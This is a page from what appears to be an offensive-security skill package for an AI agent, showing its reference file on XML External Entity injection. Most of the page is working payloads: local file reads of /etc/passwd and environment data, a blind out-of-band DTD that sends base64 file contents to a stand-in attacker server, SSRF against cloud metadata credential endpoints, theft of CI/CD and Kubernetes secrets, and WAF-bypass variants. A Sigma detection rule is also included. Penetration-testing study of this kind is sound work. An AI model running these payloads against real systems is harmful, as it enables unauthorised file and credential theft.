hypnguyen1209/offensive-claude / skills/web-pentest
web-pentest
FlaggedUse when pentesting a web application or API — injection, XSS/CSP, SSRF/cloud-metadata, HTTP desync & cache poisoning, SSTI/prototype-pollution/deserialization, JWT/OAuth/GraphQL/IDOR, business logic & single-packet race
| File | Kind | Size |
|---|---|---|
| SKILL.md | skill md | 12.0 KB |
| references/auth-api-access-control.md | markdown | 14.9 KB |
| references/business-logic-abuse.md | markdown | 5.2 KB |
| references/http-desync-cache.md | markdown | 8.6 KB |
| references/injection-sqli-cmdi.md | markdown | 10.0 KB |
| references/proxy-mcp-integration.md | markdown | 3.1 KB |
| references/ssrf-cloud-metadata.md | markdown | 6.7 KB |
| references/ssti-deserialization.md | markdown | 7.0 KB |
| references/waf-bypass.md | markdown | 7.0 KB |
| references/xss-csp-clientside.md | markdown | 7.9 KB |
| references/xxe.md | markdown | 6.9 KB |
| scripts/desync_probe.py | script | 8.3 KB |
| scripts/graphql_audit.py | script | 6.2 KB |
| scripts/jwt_forge.py | script | 8.2 KB |
| scripts/proto_ssti_gadgets.py | script | 8.1 KB |
| scripts/race_single_packet.py | script | 5.4 KB |
| scripts/session_entropy.py | script | 7.9 KB |
| scripts/ssrf_toolkit.py | script | 8.3 KB |
| scripts/xss_csp_forge.py | script | 8.1 KB |
references/xxe.md
View on GitHub# XML External Entity (XXE) Injection
XXE (CWE-611) exploits XML parsers that resolve external entities — reading local files, reaching
internal services (SSRF), exfiltrating data OOB, and in some stacks achieving RCE. The attack surface
is wider than `<xml>` input fields: any endpoint that parses XML (SOAP, SAML, SVG/DOCX/XLSX/EPUB
upload, RSS/Atom feeds, CI/CD JUnit reports, Kubernetes admission webhooks) is a candidate. Technique
content seeded from Claude-Red (MIT). ATT&CK T1190 / T1552. CWE-611.
> **Evidence bar:** entity resolution alone is `[POSSIBLE]`. `[CONFIRMED]` needs a **file read** (show
> `/etc/passwd` or a known file's content), an **OOB callback with data** (DNS/HTTP with exfiled
> content), or a **demonstrated SSRF** (internal response read). A `200` from a parser endpoint is not
> impact.
## 1. Basic entity + file read
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
```
If the parsed value is reflected in the response → direct file read. Try `file:///etc/hostname`,
`file:///proc/self/environ`, `C:\Windows\win.ini` (Windows). PHP: `php://filter/convert.base64-encode/
resource=/etc/passwd` for binary-safe exfil.
## 2. Blind / OOB exfiltration (no reflection)
When the parsed entity is NOT reflected — exfil via OOB HTTP/DNS:
```xml
<!-- Step 1: host evil.dtd on your server -->
<!-- evil.dtd: -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://YOUR-SERVER/?d=%file;'>">
%eval; %exfil;
<!-- Step 2: send to the target -->
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://YOUR-SERVER/evil.dtd"> %dtd; ]>
<root>anything</root>
```
Your server receives the base64-encoded file content as a query param. Requires the parser to fetch
external DTDs (common default in Java/PHP, rare in modern Python/Ruby).
## 3. Error-based exfiltration
Force a parser error that includes the file content in the error message:
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval; %error;
```
The error "file not found: /nonexistent/root:x:0:0:..." leaks the content. Works when OOB HTTP is
blocked but error messages are returned.
## 4. SSRF via XXE
```xml
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1/instance/hostname">
```
Cloud metadata endpoints protected by headers (IMDSv2, GCP `Metadata-Flavor`) block direct XXE GET.
Workarounds:
- **`jar://` (Java):** `<!ENTITY xxe SYSTEM "jar:http://metadata.google.internal!/...">` — some Java
parsers follow `jar:` URLs and add the required headers internally.
- **Open-redirect chain:** `<!ENTITY xxe SYSTEM "http://app.internal/redirect?url=http://169.254.169.254/...">`.
- Also: `gopher://` for protocol smuggling (Redis, SMTP), `expect://` for command exec (PHP
`expect://id` if the expect wrapper is enabled — rare).
## 5. XXE via file upload
Any file format that IS or CONTAINS XML is a vector:
- **SVG:** `<svg xmlns="..."><text>&xxe;</text></svg>` — uploaded as an image, parsed server-side.
- **DOCX/XLSX/PPTX:** Office Open XML is a ZIP of XML files. Unzip, inject entity into
`word/document.xml` or `xl/sharedStrings.xml`, re-zip, upload. Tool: `oxml_xxe`.
- **EPUB:** inject into `content.opf`:
```xml
<?xml version="1.0"?>
<!DOCTYPE package [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<package xmlns="http://www.idpf.org/2007/opf"><metadata><dc:title>&xxe;</dc:title></metadata></package>
```
- **PDF (rare):** some PDF generators that parse XML (XMP metadata, FDF forms).
## 6. XXE in protocols & frameworks
- **SOAP:** `<soap:Body><foo><![CDATA[<!DOCTYPE doc [ <!ENTITY % dtd SYSTEM "http://YOUR/dtd"> %dtd; ]>]]></foo></soap:Body>`
- **SAML:** inject into `<saml:Issuer>&xxe;</saml:Issuer>` (AuthnRequest), `<saml:AttributeValue>`
(Response), or before encryption in EncryptedAssertion (SP decrypts and processes the entity).
- **RSS/Atom feeds:** injected via user-submitted feed URLs that the server fetches and parses.
## 7. CI/CD pipeline XXE (modern, high-impact)
XML parsers in CI/CD are often unsandboxed and have access to secrets:
- **JUnit XML reports:** inject XXE into `<testcase>` output → parsed by GitLab CI artifact handler /
Jenkins JUnit plugin → reads `/var/jenkins_home/secrets/master.key` or
`/etc/gitlab-runner/config.toml`.
- **Kubernetes admission webhook:** inject XXE in pod annotation XML → exfil
`/var/run/secrets/kubernetes.io/serviceaccount/token`.
- **Maven POM:** a dependency with a malicious `pom.xml` containing external entities.
- **GitHub Actions:** an XML-parsing action (test reporters, coverage, SARIF) processing attacker-
controlled XML from a PR.
## 8. Filter bypass
When `<!DOCTYPE` or `<!ENTITY` is blocked:
- **XInclude (no DTD needed):** `<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text"
href="file:///etc/passwd"/></foo>` — works when the app embeds your input inside an existing XML doc.
- **Case variation:** `<!docTypE foo [ <!ENTity xxe SYSTEM "file:///etc/passwd"> ]>`.
- **URL encoding:** `file:%2F%2F%2Fetc%2Fpasswd`.
- **UTF-16 BOM:** `\xFF\xFE` prefix + UTF-16LE payload — some WAFs only scan UTF-8.
- **Parameter entities:** `<!ENTITY % xxe SYSTEM "..."> %xxe;` (parameter entities in the internal
subset are a different parse path some filters miss).
## 9. Parser hardening versions (2024-2025)
Modern defaults that BLOCK XXE — if the target runs these versions, XXE is unlikely:
- **libxml2 >= 2.13:** `XML_PARSE_NO_XXE` by default.
- **Python >= 3.13:** standard `xml.*` forbids external entities.
- **Java 22:** `FEATURE_SECURE_PROCESSING` on, `external-general-entities` false by default.
- **.NET 8:** `DtdProcessing = Prohibit` in default templates.
Check the parser version before investing in XXE testing; flag the version in the finding.
## Detection & OPSEC
IOCs: `<!DOCTYPE`/`<!ENTITY`/`SYSTEM` in request bodies, `file://`/`http://` in XML attributes,
outbound HTTP/DNS from the XML parser to attacker infra, requests to `169.254.169.254` from the
parser process.
```yaml
title: XXE Probe in Request Body
logsource: { category: webserver }
detection:
xxe:
cs-body|re: '(?i)(<!DOCTYPE|<!ENTITY|SYSTEM\s+["\x27](?:file|http|ftp|php|jar|expect)://)'
condition: xxe
level: high
```
- OOB exfil requires your server to be reachable from the target — use a scoped, attributable
collector (not a shared Burp Collaborator instance on a long-running engagement).
- CI/CD XXE can read *secrets* — handle exfiled data per ROE and redact from reports.
## References
- PortSwigger Web Security Academy — XXE.
- OWASP XXE Prevention Cheat Sheet.
- PayloadsAllTheThings XXE section.
- `oxml_xxe` (DOCX/XLSX/PPTX XXE tool).
- libxml2 / Python / Java / .NET changelogs for default-secure parsing.
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